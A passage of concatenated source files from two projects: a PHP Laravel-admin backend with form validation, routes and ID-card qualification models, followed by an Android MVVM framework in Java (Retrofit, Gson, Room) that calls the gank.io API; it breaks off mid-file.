$show->name('ๅง“ๅ'); $show->sex('ๆ€งๅˆซ')->using(self::SEX_ARR); $show->age('ๅนด้พ„'); $show->desc('่ฏฆๆƒ…'); $show->contact_name('่”็ณปไบบๅง“ๅ'); $show->contact_mobile('่”็ณป็”ต่ฏ'); $show->created_at('Created at'); $show->updated_at('Updated at'); }); return $shows; } private function findimages_cover_rules() { return [ Rule::in("on", "off") ]; } private function findimages_cover_rules_message() { return [ "in" => "ๅฐ้ข้€‰ๆ‹ฉ่Œƒๅ›ด้”™่ฏฏ", ]; } private function findimages_index_rules() { return "numeric"; } private function findimages_index_rules_message() { return [ "numeric" => "ๆŽ’ๅบๅฟ…้กปไธบๆ•ฐๅญ—" ]; } private function province_rules() { return "required|numeric"; } private function province_rules_message() { return [ "required" => "็œไปฝๅฟ…้กป", "numeric" => '็œไปฝๆ ผๅผ้”™่ฏฏ' ]; } private function city_rules() { return "required|numeric"; } private function city_rules_message() { return [ "required" => "ๅŸŽๅธ‚ๅฟ…้กป", "numeric" => "ๅŸŽๅธ‚ๆ ผๅผ้”™่ฏฏ" ]; } private function title_rules() { return "required"; } private function title_rules_message() { return [ "required" => "ๆ ‡้ข˜ๅฟ…้กป" ]; } private function name_rules() { return "required|min:2"; } private function name_rules_message() { return [ "required" => "ๅง“ๅๅฟ…้กป", "min" => "ๅง“ๅไธๅฏๅฐ‘ไบŽไธคไธชๅญ—็ฌฆ" ]; } private function sex_rules() { return [ Rule::in([0,1]) ]; } private function sex_rules_message() { return [ "in" => "ๆ€งๅˆซ่Œƒๅ›ด้”™่ฏฏ" ]; } private function age_rules() { return "numeric"; } private function age_rules_message() { return [ "numeric" => "ๅนด้พ„ๅฟ…้กปๆ˜ฏๆ•ฐๅญ—" ]; } private function desc_rules() { return "required"; } private function desc_rules_message() { return [ "required" => "่ฏฆๆƒ…ๅฟ…้กป" ]; } private function contact_name_rules() { return "min:2"; } private function contact_name_rules_message() { return [ "min" => "่”็ณปไบบๅง“ๅไธๅพ—ๅฐ‘ไบŽไธคไฝๅญ—็ฌฆ" ]; } private function contact_mobile_rules() { return [ "required", "regex:/^1[3456789]\d{9}$/", ]; } private function contact_mobile_rules_message() { return [ "required" => "่”็ณปไบบๆ‰‹ๆœบๅท็ ๅฟ…้กป", "regex" => "่”็ณปไบบๆ‰‹ๆœบๅท็ ๆ ผๅผ้”™่ฏฏ" ]; } private function status_rules() { return [ Rule::in([0,1,2]) ]; } private function status_rules_message() { return [ "in" => "ๅฎกๆ ธ็Šถๆ€่Œƒๅ›ด้”™่ฏฏ" ]; } }``` routes.php ```<?php use Illuminate\Routing\Router; Admin::registerAuthRoutes(); Route::group([ 'prefix' => config('admin.route.prefix'), 'namespace' => config('admin.route.namespace'), 'middleware' => config('admin.route.middleware'), ], function (Router $router) { $router->get('/', 'HomeController@index'); $router->resource('users', UserController::class); $router->resource('findnotice', FindNoticeController::class); $router->resource('qualification', QualifiedController::class); $router->resource('message', MessageController::class); $router->group([ "prefix" => config("admin.route.api.prefix"), "namespace" => config("admin.route.api.namespace") ], function (Router $router) { $router->get("area", "AreaController@index"); $router->any("uploads", "UploadsController@index"); }); });``` Qualification.php ```<?php namespace App\Models; use App\Models\Traits\QualificationTrait; class Qualification extends Models{ use QualificationTrait; /** * ๅ…ณ่”ๅˆฐๆจกๅž‹็š„ๆ•ฐๆฎ่กจ * ้ป˜่ฎค่ง„ๅˆ™ๆ˜ฏๆจกๅž‹็ฑปๅ็š„ๅคๆ•ฐไฝœไธบไธŽๅ…ถๅฏนๅบ”็š„่กจๅ * @var string * @author ๆœฑๆ—ญ */ protected $table = 'qualification'; /** * ่ฎพ็ฝฎไธป้”ฎ * @author ๆœฑๆ—ญ * @var string */ public $primaryKey = 'id'; }``` UploadController.php ```<?php /** * Created by PhpStorm. * User: YZ * Date: 2018/11/19 * Time: 16:56 */ namespace App\Http\Controllers; use Illuminate\Http\Request; class UploadController { public function uploadPage(){ return view('upload.file'); } public function fileUpload(Request $request){ if($request->hasFile('picture')){ $pic = $request->file('picture'); if(!$pic->isValid()){ abort(400,'ๆ— ๆ•ˆ็š„ๆ–‡ไปถ'); } //่Žทๅ–ๆ‰ฉๅฑ•ๅ $ext = $pic->getClientOriginalExtension(); //่Žทๅ–ๆ–‡ไปถๅ $fileName = $pic->getClientOriginalName(); //ไฟๅญ˜ๆ–‡ไปถๅ $newFileName = md5($fileName.time().rand(1,10000)).'.'.$ext; //ไฟๅญ˜่ทฏๅพ„ $path = '/storage/images/'.$newFileName; } } }``` AreaController.php ```<?php namespace App\Admin\Controllers\Api; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Area; class AreaController extends Controller{ public function index(Request $request, Area $area) { $this->validate($request, [ "q" => "numeric" ],[ "q.numeric" => "้”™่ฏฏ็š„ๅ‚ๆ•ฐ็ฑปๅž‹" ]); $id = $request->get("q", 0); $res = $area->getAreaList($id); $result[0] = [ "id" => 0, "text" => '่ฏท้€‰ๆ‹ฉ' ]; if($id && count($res)>0) { $res = $res->toArray(); foreach($res as $key => $val){ $result[$key+1] = $val; } } return $result; } }``` Users.php ```<?php namespace App\Models; use App\Models\Traits\UsersTrait; class Users extends Models { use UsersTrait; /** * ๅ…ณ่”ๅˆฐๆจกๅž‹็š„ๆ•ฐๆฎ่กจ * ้ป˜่ฎค่ง„ๅˆ™ๆ˜ฏๆจกๅž‹็ฑปๅ็š„ๅคๆ•ฐไฝœไธบไธŽๅ…ถๅฏนๅบ”็š„่กจๅ * @var string * @author ๆœฑๆ—ญ */ protected $table = 'users'; /** * ่ฎพ็ฝฎไธป้”ฎ * @author ๆœฑๆ—ญ * @var string */ public $primaryKey = 'id'; /** * ่กจๅๆจกๅž‹ๆ˜ฏๅฆๅบ”่ฏฅ่ขซๆ‰“ไธŠๆ—ถ้—ดๆˆณ * @var bool * @author ๆœฑๆ—ญ */ // public $timestamps = false; /** * ๆจกๅž‹ๆ—ฅๆœŸๅˆ—็š„ๅญ˜ๅ‚จๆ ผๅผ * @author ๆœฑๆ—ญ * @var string */ // protected $dateFormat = 'U'; /** * ้ฟๅ…่ฝฌๆขๆ—ถ้—ดๆˆณไธบๆ—ถ้—ดๅญ—็ฌฆไธฒ * @param dateTime $value int * @return dateTime int */ // public function fromDateTime($value){ // return strtotime(parent::fromDateTime($value)); // } //่‡ชๅฎšไน‰็”จไบŽๅญ˜ๅ‚จๆ—ถ้—ดๆˆณ็š„ๅญ—ๆฎตๅ็งฐ,ๅฏไปฅๅœจๆจกๅž‹ไธญ่ฎพ็ฝฎCREATED_AT ๅ’Œ UPDATED_AT ๅธธ้‡ //const CREATED_AT = 'regtime'; //const UPDATED_AT = ''; /** * ไปŽๆ•ฐๆฎๅบ“่Žทๅ–็š„ๆ—ถ้—ดไธบๆ—ถ้—ดๆˆณๆ ผๅผ * @return string */ // public function getDateFormat() // { // return 'U'; // } /** * ๆ‰น้‡่ต‹ๅ€ผ้ป‘ๅๅ• * @var array */ protected $guarded = []; /** * ๆ‰น้‡่ต‹ๅ€ผ็™ฝๅๅ• * @var array */ protected $fillable = []; }``` Models.php ```<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; /** * ๆ•ฐๆฎๆจกๅž‹ๅŸบ็ฑป * @author zx * @date 2018-12-23 * @package App\Models */ class Models extends Model{ }``` system.php ```<?php return [ /* |-------------------------------------------------------------------------- | SYSTEM CONFIG FILE |-------------------------------------------------------------------------- | | This file stores the system configuration file | */ 'cdn' => env("SYSTEM_CDN"), 'prefix' => env("SYSTEM_PREFIX"), ]; ``` TestQueueController.php ```<?php /** * Created by PhpStorm. * User: YZ * Date: 2018/11/22 * Time: 16:35 */ namespace App\Http\Controllers; use App\Jobs\Demo; class TestQueueController { public function sendQueue(){ $user = new \stdClass(); $user->id = rand(1,100); dispatch(new Demo($user))->onQueue('demo'); } }``` FindNoticeTrait.php ```<?php namespace App\Models\Traits; use App\Models\Users; use App\Models\FindImages; /** * ๆจกๅž‹้œ€ๆฑ‚Trait็ฑป * @author zx * @date 2018-12-23 * @package App\Models\Trait */ Trait FindNoticeTrait{ public function users() { return $this->belongsTo(Users::class, "release_user"); } public function findimages() { return $this->hasMany(FindImages::class, "out_id"); } }``` AreaTrait.php ```<?php namespace App\Models\Traits; Trait AreaTrait{ /** * ๆ นๆฎ็ˆถ็บงID่Žทๅ–ๅŸŽๅธ‚ๅˆ—่กจ * @author zx * @date 2018-12-26 * @return Model|Object */ public function getAreaList(int $pid=0) { $model = self::select("id", "name AS text"); if ($pid){ $model = $model->where("upid",$pid); } else { $model = $model->where("level", 1); } $model = $model->get(); return $model; } /** * ่Žทๅ–็œๅˆ—่กจ * @author zx * @date 2018-12-26 * @return array */ public function getProvinceList():array { $list = $this->getAreaList(); $res[0] = "่ฏท้€‰ๆ‹ฉ"; foreach($list as $key => $val){ $res[$val->id] = $val->text; } return $res; } /** * ่Žทๅ–ๅŒ็บงๅŸŽๅธ‚ๅˆ—่กจ * @author zx * @date 2018-12-26 * @return array */ public function getSameLevelCityList($id) { $upid = self::select("upid") ->where("id", $id) ->first(); $list = []; if ($upid) $list = self::where("upid", $upid->upid) ->pluck("name AS text", 'id'); return $list; } /** * ๆ นๆฎๅœฐๅŒบid่Žทๅ–ไฟกๆฏ * @author zx * @date 2018-12-26 * @return Model|Object */ public function getAddressData($id) { $data = self::select("id","name","level") ->where("id", $id) ->first(); return $data; } }``` FindImages.php ```<?php namespace App\Models; use App\Models\Traits\FindImagesTrait; class FindImages extends Models{ use FindImagesTrait; /** * ๅ…ณ่”ๅˆฐๆจกๅž‹็š„ๆ•ฐๆฎ่กจ * ้ป˜่ฎค่ง„ๅˆ™ๆ˜ฏๆจกๅž‹็ฑปๅ็š„ๅคๆ•ฐไฝœไธบไธŽๅ…ถๅฏนๅบ”็š„่กจๅ * @var string * @author ๆœฑๆ—ญ */ protected $table = 'find_images'; /** * ่ฎพ็ฝฎไธป้”ฎ * @author ๆœฑๆ—ญ * @var string */ public $primaryKey = 'id'; /** * ๆ‰น้‡่ต‹ๅ€ผ็™ฝๅๅ• * @var array */ protected $fillable = [ "url" , "index" , "out_id" , "cover" ]; /** * ๅฎšไน‰updated_at,็”จไบŽๅฟฝ็•ฅupdated_atๅญ—ๆฎต * @var null */ const UPDATED_AT = null; }``` FindImagesTrait.php ```<?php namespace App\Models\Traits; use App\Models\FindNotice; /** * ๆจกๅž‹้œ€ๆฑ‚Trait็ฑป * @author zx * @date 2018-12-23 * @package App\Models\Trait */ Trait FindImagesTrait{ public function findnotice() { return $this->belongsTo(FindNotice::class, "out_id"); } }``` QualifiedService.php ```<?php namespace App\Http\Service; use Encore\Admin\Form; use Encore\Admin\Grid; use Encore\Admin\Show; use Encore\Admin\Facades\Admin; use Illuminate\Validation\Rule; use App\Models\Qualification; /** * ็”จๆˆท่ฎค่ฏๆœๅŠกๅฑ‚ * @author zx * @date 2018-12-29 * @package App\Http\Service */ class QualifiedService extends CommonService { /** * ็Šถๆ€ๅŒบๅˆ† * @var array */ const STATUS_ARR = ["ๆœชๅฎกๆ ธ", "ๅฎกๆ ธ้€š่ฟ‡", "ๅฎกๆ ธๆœช้€š่ฟ‡"]; /** * ่กจๅ•้กต้ขๆŽงๅˆถ * @author zx * @date 2018-12-29 * @return Form */ public function form() { $gird = Admin::form(Qualification::class, function(Form $form){ $form->display("users.id", "็”จๆˆทID"); $form->display("users.nickname", "็”จๆˆทๆ˜ต็งฐ"); $form->text('realname', '็œŸๅฎžๅง“ๅ')->rules( $this->realname_rules(), $this->realname_rules_message() ); $form->text('id_card', '่บซไปฝ่ฏๅท็ ')->rules( $this->id_card_rules(), $this->id_card_rules_message() ); $form->image("card_image")->uniqueName(); $form->radio('status', 'Status')->options(self::STATUS_ARR)->rules( $this->status_rules(), $this->status_rules_message() ); $form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules( parent::is_delete_rules(), parent::IS_DELETE_MESSAGE ); return $form; }); return $gird; } /** * ๅˆ—่กจ้กต้ขๆŽงๅˆถ * @param Grid $grid * @author zx * @date 2018-12-29 * @return Grid */ public function grid(Grid $grid) { $grid->id('Id'); $grid->column('users.nickname', "่ฎค่ฏไบบๆ˜ต็งฐ"); $grid->realname('็œŸๅฎžๅง“ๅ'); $grid->id_card('่บซไปฝ่ฏๅท็ '); $grid->card_image('่ฎค่ฏๅ›พ็‰‡')->image(config("filesystems.disks.qiniu.url"),50,50); $grid->status('Status')->display(function($status){ return self::STATUS_ARR[$status]; }); $grid->is_delete('Is delete')->display(function($is_delete){ return self::IS_DELETE_ARR[$is_delete]; }); $grid->created_at('Created at'); $grid->updated_at('Updated at'); return $grid; } /** * ่ฏฆๆƒ…้กต้ขๆŽงๅˆถ * @param Show $show * @author zx * @date 2018-12-29 * @return Show */ public function detail(Show $show) { $show->id('Id'); $show->users('่ฎค่ฏไบบไฟกๆฏ', function($users){ $users->id("็”จๆˆทID"); $users->nickname("็”จๆˆทๆ˜ต็งฐ"); return $users; }); $show->realname('็œŸๆ˜ฏๅง“ๅ'); $show->id_card('่บซไปฝ่ฏๅท็ '); $show->card_image('่ฎค่ฏๅ›พ็‰‡')->image(); $show->created_at('Created at'); $show->updated_at('Updated at'); return $show; } private function realname_rules() { return "required|min:2"; } private function realname_rules_message() { return [ "required" => "่ฏท่พ“ๅ…ฅ", "min" => "ไธๅฏๅฐ‘ไบŽไธคไธชๅญ—็ฌฆ" ]; } private function id_card_rules() { return [ "required", "regex:/^([\d]{17}[xX\d]|[\d]{15})$/" ]; } private function id_card_rules_message() { return [ "required" => "่ฏท่พ“ๅ…ฅ", "regex" => "ๆ ผๅผๆœ‰่ฏฏ" ]; } private function status_rules() { return [ "required", Rule::in([0,1,2]) ]; } private function status_rules_message() { return [ "required" => "่ฏท้€‰ๆ‹ฉ", "in" => "่Œƒๅ›ดๆœ‰่ฏฏ" ]; } }```
yuzhijun/MarsArchitecture
yuzhijun/MarsArchitecture README.md ```# MarsArchitecture ๅˆฉ็”จ่ฐทๆญŒๆœ€ๆ–ฐ็š„็ป„ไปถๅŒ–ๆก†ๆžถๆ‰“้€ ่‡ชๅทฑ็š„mvvmๆก†ๆžถ๏ผˆ่ฏฆ็ป†ไฝฟ็”จๆ–นๆณ•ๅพ…ๆœ‰็ฉบ็ผ–ๅ†™๏ผŒๅฆ‚ๆžœ้œ€่ฆ่ฏท่”็ณปๆˆ‘๏ผ‰ ` ` .';|%|||||%%%$$%%|;'. ` .`':!%$$&&&&@##@@@@@@@@@@@@@@$|;'. ` .`;%$$&&$$$&&@##################@@@&|:. ` .:|&@@@@&&&&@@@@@@@@@@@@@@@&&@@@#@#####@&|:. ` `;$@#@&&&@@@@@@@@########@@@@@@@@@&@##@@####@$!` ` .;$#####@##@@@@@##@@@##@@@###@@@@&&&&&@@@@@@####@$|` ` .:$################@@@@@@&@@&@@@@##@@&&&&&@###@@#####&|` ` .:$################@##@@#######@@@@&@@#@@&&&&@@#########@&; ` .'%@####################@@########@####@@@@@&&&@@###########@|` ` .`!&###@@##########@#################@@####@@&@@&&@##@@@########&: ` `;$####@&@########@@@##################@@@#####@&@@@###@@@@########! ` .:%@@####@##########&&@########@##########@@@@#####@@@####@@##########$` ` `!$@@@@@@############&&@######@@@##########@@@@@######@@#####@@#######@$%; ` '|$&&@&@#############@@@@######@&@#######@###@@@@@#############@@########$:. .`. ` .:%|!$&&@##############@@@@#@@###@&@#@@#####@#####@@@####@@########@@######@$%:. ` .!%;`!&&@###############@@@@@&&##@@@@@@@#############@@@###@#########@@######&: .'''. ` `!|` '%&@###########@######@@@@&@#@#@@#@@###############@@##@@#########@######@|. ` `!;. `!$@@#######@##@@###@@##@@@@&@@@####@#################@##@&##############@&%;. ` `!;. .:$@@##############@@@@####@@@@@@######################@##@@############@@@$|!` ` .;;. '%&@@@#############@#&&#####@@#@#############@@####@####@##@############@@&%!;'. ` '!' `!&@@@###############$:'%&&##########@#####@@#@@@#####@##################@@&|;:'. ` .;;. :%&@#@############@#$;` `!&&@@########@@&@@&&@#@@@######@################@@@%;:` ` .::. `!&@##@#@##########@@$|$&@&$!!%$#####@@@@@&@&!!&&%$#######################@@#$;'. ` .':`.'%@##@@@@##############@@#####@|:!&@@#$!$&$$$|;!|';&@@###@################@@@&;`. ` `:'`:$@@@@##@######@@###@!`|&@###@&|` .'!&&;'%%||'``.``;%&@@@@################@@@$;. ` `'';$@@@@##@######@@@##@$:`!%$&&@! '|%!||::'. .`:|&$$@####@@###########@&&$: ` .'!&@@&@#########@@@@@#@!';%$$|` .''` `::`:|:`...`:|&@@######@@###########&%%|' ` .`;$@@&@####@@####@####@@%' .'. `. '::;$@#####@##########@&!;|!` ` .`;$@&$@#####@##########&%|: .. ';!&###############@&|`'!:. ` .`:%@#$$@###@&&##########@!. . `%############@##&%|' `:` ` .`:$@&%&##@&%%&##@########! '%@#######@@@@####$;' `` ` .. '%&$&@#&$!;%@##&&#######%` `%####@@####@@####%`. . ` `!!|&#@%;';$@@@||########$` .... `%@#####@######@%%@$' ` .!@&;..!&@$!|%&#@#######%` ;&@@@#####@@###&;`'!%: ` :$%: !@@&: .|@#$$########|` :$##@&&&@####&|%%|!. .'` ` `|%:. '$@&!..:$&&@#@########@%%&####@$%|!:|####&; `':'. ` ':. :||:..;$@#%%#####@@@#####@$!'. !&|;|%%! ` .!$&|!$&&&$%$###@&!` '|' .::`'` ` .:` :|;':'. :&@#&;. `;` `:` ` .. '' .|#@%` `;' ;; ` :: :&##&|` ;&@&!` ` `%&$: '|&@!. !@#####&!` ` .:|&###@!. `%#@&: !###########%'. ` :$#@@#####%` ;@##@! !@##############$;` ` '%###########&: `$@&@#%` !@##################@|` ` `!&############@@! ;&|'|@&: ;@######################$:. ` .`;&#############&&##%`:$$:.:$@! :&##################@&&&@###%' ` '|$$!!$@@########@$&###&!$#%` .!@%' '$@#@@#############%:'`...`'::|&|' ` ...`';!$@######@####&$@@! ;&@; '$@&&@############%' . ` ` ` ` ``` IRequest.java ```package com.winning.marsarchitecture.viewmodel; import android.arch.lifecycle.LiveData; /** * Created by yuzhijun on 2018/4/13. */ public interface IRequest<T> { LiveData<T> getLiveObservableData(String url,String...params); } ``` CommUtil.java ```package com.winning.marsarchitecture.util; import android.content.Context; /** * Created by yuzhijun on 2018/4/12. */ public class CommUtil { public static String getString(Context context, int id) { return context.getString(id); } } ``` GsonHelper.java ```package com.winning.marsarchitecture.util; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonDeserializationContext; import com.google.gson.JsonDeserializer; import com.google.gson.JsonElement; import com.google.gson.JsonParseException; import com.google.gson.JsonSyntaxException; import java.lang.reflect.Type; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Locale; import java.util.TimeZone; public class GsonHelper { private static Gson mGson; private static GsonHelper mInstance; private static final SimpleDateFormat JSON_STRING_DATE = new SimpleDateFormat("yyy-MM-dd", Locale.CHINA); private static final TimeZone TIME_ZONE = TimeZone.getTimeZone("GMT-8:00"); private static final long SECOND_IN_MILLISECONDS = 1000L; private GsonHelper(){ } public static GsonHelper getIntance(){ if (null == mInstance){ synchronized (GsonHelper.class){ if (null == mInstance){ mGson = GsonHelper.gsonBuilder(); mInstance = new GsonHelper(); } } } return mInstance; } public static Gson gsonBuilder() { GsonBuilder builder = new GsonBuilder(); builder.registerTypeAdapter(Integer.class, new JsonDeserializer() { @Override public Integer deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException { try { return json.getAsInt(); } catch (NumberFormatException e) { e.printStackTrace(); } return null; } }); builder.registerTypeAdapter(Date.class, new JsonDeserializer() { @Override public Date deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException { try { long outer = json.getAsLong(); Calendar calendar = Calendar.getInstance(TIME_ZONE); calendar.setTimeInMillis(outer * SECOND_IN_MILLISECONDS); return calendar.getTime(); } catch (NumberFormatException e) { try { return JSON_STRING_DATE.parse(json.getAsString()); } catch (ParseException e1) { throw new JsonParseException(e1); } } } }); return builder.create(); } public <T> T str2JsonBean(String json, Class<T> clazz) { T bean = null; if (null != mGson) { try { bean = mGson.fromJson(json, clazz); } catch (JsonSyntaxException e) { e.printStackTrace(); } } return bean; } } ``` ResponseErrorProxy.java ```package com.winning.marsarchitecture.datacenter.network; import com.google.gson.Gson; import com.google.gson.JsonParseException; import org.apache.http.conn.ConnectTimeoutException; import org.reactivestreams.Publisher; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.net.ConnectException; import java.net.SocketTimeoutException; import java.net.UnknownHostException; import io.reactivex.Flowable; import io.reactivex.functions.Function; import retrofit2.HttpException; import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_NETWORK_ERROR; import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_SERVER_ERROR; import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_UNAUTHORIZED; import static com.winning.marsarchitecture.util.Constants.HttpCode.HTTP_UNKNOWN_ERROR; public class ResponseErrorProxy implements InvocationHandler { public static final String TAG = ResponseErrorProxy.class.getSimpleName(); private Object mProxyObject; private String url; public ResponseErrorProxy(Object proxyObject,String url) { mProxyObject = proxyObject; this.url = url; } @Override public Object invoke(Object proxy, final Method method, final Object[] args) { return Flowable.just("") .flatMap((Function<String, Flowable<?>>) s -> (Flowable<?>) method.invoke(mProxyObject, args)) .retryWhen(throwableFlowable -> throwableFlowable.flatMap((Function<Throwable, Publisher<?>>) throwable -> { ResponseError error = null; if (throwable instanceof ConnectTimeoutException || throwable instanceof SocketTimeoutException || throwable instanceof UnknownHostException || throwable instanceof ConnectException) { error = new ResponseError(HTTP_NETWORK_ERROR, "ๅฝ“ๅ‰็ฝ‘็ปœ็Žฏๅขƒ่พƒๅทฎ๏ผŒ่ฏท็จๅŽ้‡่ฏ•!"); } else if (throwable instanceof HttpException) { HttpException exception = (HttpException) throwable; try { error = new Gson().fromJson(exception.response().errorBody().string(), ResponseError.class); } catch (Exception e) { if (e instanceof JsonParseException) { error = new ResponseError(HTTP_SERVER_ERROR, "ๆŠฑๆญ‰๏ผๆœๅŠกๅ™จๅ‡บ้”™ไบ†!"); } else { error = new ResponseError(HTTP_UNKNOWN_ERROR, "ๆŠฑๆญ‰๏ผ็ณป็ปŸๅ‡บ็Žฐๆœช็Ÿฅ้”™่ฏฏ!"); } } } else if (throwable instanceof JsonParseException) { error = new ResponseError(HTTP_SERVER_ERROR, "ๆŠฑๆญ‰๏ผๆœๅŠกๅ™จๅ‡บ้”™ไบ†!"); } else { error = new ResponseError(HTTP_UNKNOWN_ERROR, "ๆŠฑๆญ‰๏ผ็ณป็ปŸๅ‡บ็Žฐๆœช็Ÿฅ้”™่ฏฏ!"); } if (error.getStatus() == HTTP_UNAUTHORIZED) { return refreshTokenWhenTokenInvalid(); } else { return Flowable.error(error); } })); } private Flowable<?> refreshTokenWhenTokenInvalid() { synchronized (ResponseErrorProxy.class) { return Flowable.error(new ResponseError(HTTP_SERVER_ERROR, "ๆŠฑๆญ‰๏ผๆœๅŠกๅ™จๅ‡บ้”™ไบ†!")); } } } ``` GirlsResposity.java ```package com.winning.marsarchitecture.datacenter; import android.app.Application; import com.winning.marsarchitecture.datacenter.db.AppDatabase; import com.winning.marsarchitecture.datacenter.db.User; import com.winning.marsarchitecture.datacenter.network.ApiServiceModule; import com.winning.marsarchitecture.util.AppExecutors; import com.winning.marsarchitecture.util.SwitchSchedulers; import io.reactivex.Flowable; /** * Created by yuzhijun on 2018/4/12. */ public class GirlsResposity { private static AppExecutors mAppExecutors = new AppExecutors(); public static Flowable getFuliData(String size, String index) { return ApiServiceModule.getInstance().getNetworkService() .getFuliData(size,index) .compose(SwitchSchedulers.applySchedulers()) .map(girlsData -> girlsData); } public static Flowable<User> getUserData(Application application){ return AppDatabase.getInstance(application,mAppExecutors) .userDao().getUser(); } } ``` Constants.java ```package com.winning.marsarchitecture.util; /** * Created by yuzhijun on 2018/4/3. */ public class Constants { public static final String PATH_URL = "/Path"; public static final String BASE_URL = "http://gank.io"; public static final String GIRLS_URL = "api/data/%E7%A6%8F%E5%88%A9/20/{index}/"+PATH_URL; public class HttpCode { public static final int HTTP_UNAUTHORIZED = 401; public static final int HTTP_SERVER_ERROR = 500; public static final int HTTP_NOT_HAVE_NETWORK = 600; public static final int HTTP_NETWORK_ERROR = 700; public static final int HTTP_UNKNOWN_ERROR = 800; } } ``` ApiService.java ```package com.winning.marsarchitecture.datacenter.network; import com.winning.marsarchitecture.model.GirlsData; import io.reactivex.Flowable; import okhttp3.ResponseBody; import retrofit2.http.GET; import retrofit2.http.Path; import retrofit2.http.Url; /** * Created by yuzhijun on 2018/4/2. */ public interface ApiService<T> { @GET Flowable<ResponseBody> getDynamicData(@Url String url); @GET ("api/data/็ฆๅˆฉ/{size}/{index}") Flowable<GirlsData> getFuliData(@Path("size") String size, @Path("index") String index); } ``` SwitchSchedulers.java ```package com.winning.marsarchitecture.util; import io.reactivex.FlowableTransformer; import io.reactivex.android.schedulers.AndroidSchedulers; import io.reactivex.schedulers.Schedulers; /** * Created by yuzhijun on 2018/4/12. */ public class SwitchSchedulers { public static <T> FlowableTransformer<T, T> applySchedulers() { return upstream -> upstream.subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()); } } ``` DataRepository.java ```package com.winning.marsarchitecture.datacenter; import com.winning.marsarchitecture.datacenter.network.ApiServiceModule; import com.winning.marsarchitecture.util.GsonHelper; import com.winning.marsarchitecture.util.SwitchSchedulers; import io.reactivex.Flowable; import io.reactivex.functions.Function; import okhttp3.ResponseBody; /** * Created by yuzhijun on 2018/4/12. */ public class DataRepository { public static <T> Flowable getDynamicData(String url, final Class<T> clazz) { return ApiServiceModule.getInstance().getNetworkService() .getDynamicData(url) .compose(SwitchSchedulers.applySchedulers()) .map(new Function<ResponseBody, T>() { @Override public T apply(ResponseBody responseBody) throws Exception { return GsonHelper.getIntance().str2JsonBean(responseBody.string(),clazz); } }); } } ``` ApiServiceModule.java ```package com.winning.marsarchitecture.datacenter.network; import com.winning.marsarchitecture.util.Constants; import java.lang.reflect.Proxy; import java.util.concurrent.TimeUnit; import okhttp3.OkHttpClient; import retrofit2.Retrofit; import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; import retrofit2.converter.gson.GsonConverterFactory; /** * Created by yuzhijun on 2018/4/2. */ public class ApiServiceModule { private static final int DEFAULT_TIMEOUT = 5; private static final int READ_TIMEOUT = 3; private static ApiServiceModule mInstance; private ApiServiceModule(){ } public static ApiServiceModule getInstance(){ if (null == mInstance){ synchronized (ApiServiceModule.class){ if (null == mInstance){ mInstance = new ApiServiceModule(); } } } return mInstance; } private OkHttpClient provideOkHttpClientBuilder(){ OkHttpClient httpClientBuilder = new OkHttpClient(); httpClientBuilder.newBuilder() .readTimeout(READ_TIMEOUT, TimeUnit.SECONDS) .connectTimeout(DEFAULT_TIMEOUT, TimeUnit.SECONDS) .retryOnConnectionFailure(true); return httpClientBuilder; } private Retrofit provideRetrofit(OkHttpClient OkHttpClientBuilder,String url){ return new Retrofit.Builder() .baseUrl(url == null || "".equalsIgnoreCase(url) ? Constants.BASE_URL:url) .addConverterFactory(StringConverterFactory.create()) .addConverterFactory(GsonConverterFactory.create()) .addCallAdapterFactory(RxJava2CallAdapterFactory.create()) .client(OkHttpClientBuilder) .build(); } private ApiService provideApiService(Retrofit retrofit){ return getByProxy(ApiService.class,retrofit); } private ApiService getByProxy(Class<? extends ApiService> apiService, Retrofit retrofit){ ApiService api = retrofit.create(apiService); return (ApiService) Proxy.newProxyInstance(apiService.getClassLoader(),new Class<?>[] { apiService },new ResponseErrorProxy(api,retrofit.baseUrl().toString())); } public ApiService getNetWorkService(Class<? extends ApiService> apiService,String url){ OkHttpClient okHttpClient = provideOkHttpClientBuilder(); Retrofit retrofit = provideRetrofit(okHttpClient,url); return getByProxy(apiService,retrofit); } public ApiService getNetworkService(String url){ OkHttpClient okHttpClient = provideOkHttpClientBuilder(); Retrofit retrofit = provideRetrofit(okHttpClient,url); return provideApiService(retrofit); } public ApiService getNetworkService(){ return getNetworkService(null); } } ``` MainActivity.java ```package com.winning.marsarchitecture.ui; import android.arch.lifecycle.ViewModelProviders; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.widget.TextView; import com.winning.marsarchitecture.R; import com.winning.marsarchitecture.model.GirlsData; import com.winning.marsarchitecture.util.Constants; import com.winning.marsarchitecture.viewmodel.DynamicGirlsViewModel; import java.util.List; public class MainActivity extends AppCompatActivity { private DynamicGirlsViewModel mGirlsViewModel; private TextView tvTest; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tvTest = findViewById(R.id.tvTest); mGirlsViewModel = ViewModelProviders.of(MainActivity.this).get(DynamicGirlsViewModel.class); mGirlsViewModel.getELiveObservableData(Constants.GIRLS_URL, "3").observe(MainActivity.this, girlsData -> { if (null != girlsData){ List<GirlsData.ResultsBean> resultsBeans = girlsData.getResults(); } }); tvTest.setOnClickListener(view -> mGirlsViewModel.getGirlsData("2","3").observe(MainActivity.this, girlsData -> { if (null != girlsData){ List<GirlsData.ResultsBean> resultsBeans = girlsData.getResults(); } })); } } ``` AppDatabase.java ```package com.winning.marsarchitecture.datacenter.db; import android.arch.lifecycle.LiveData; import android.arch.lifecycle.MutableLiveData; import android.arch.persistence.db.SupportSQLiteDatabase; import android.arch.persistence.room.Database; import android.arch.persistence.room.Room; import android.arch.persistence.room.RoomDatabase; import android.arch.persistence.room.TypeConverters; import android.content.Context; import android.support.annotation.NonNull; import com.winning.marsarchitecture.util.AppExecutors; /** * Created by yuzhijun on 